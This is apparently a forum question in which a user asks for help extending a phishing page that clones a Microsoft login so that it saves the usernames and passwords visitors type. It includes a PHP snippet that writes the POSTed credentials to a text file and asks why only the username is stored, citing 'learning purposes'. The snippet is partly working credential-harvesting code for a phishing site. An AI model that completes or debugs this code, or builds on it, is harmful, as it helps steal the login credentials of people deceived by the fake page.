the problem is that I have a phishing site that i found on github , i would like to expand upon it to store entered username and password. The issue is it is in HTML and im not too sure how to approach t his task. I tried using php but only the username saves for some reason.
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Save the username and password data to the file
$username = $_POST["uname"];
$password = $_POST["pass"];
file_put_contents("usernames_and_passwords.txt", "Username: $username - Password: $passwordn", FILE_APPEND);
}
?>
This failed miserably as only the username saved. How can I successfully save a text file such as codes.txt that contains the username and password entered on my Apache site. Note this is for learning purposes. Here is the code i am using.
https://github.com/Octagon-simon/microsoft-login-clone/blob/main/index.html
Mario is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.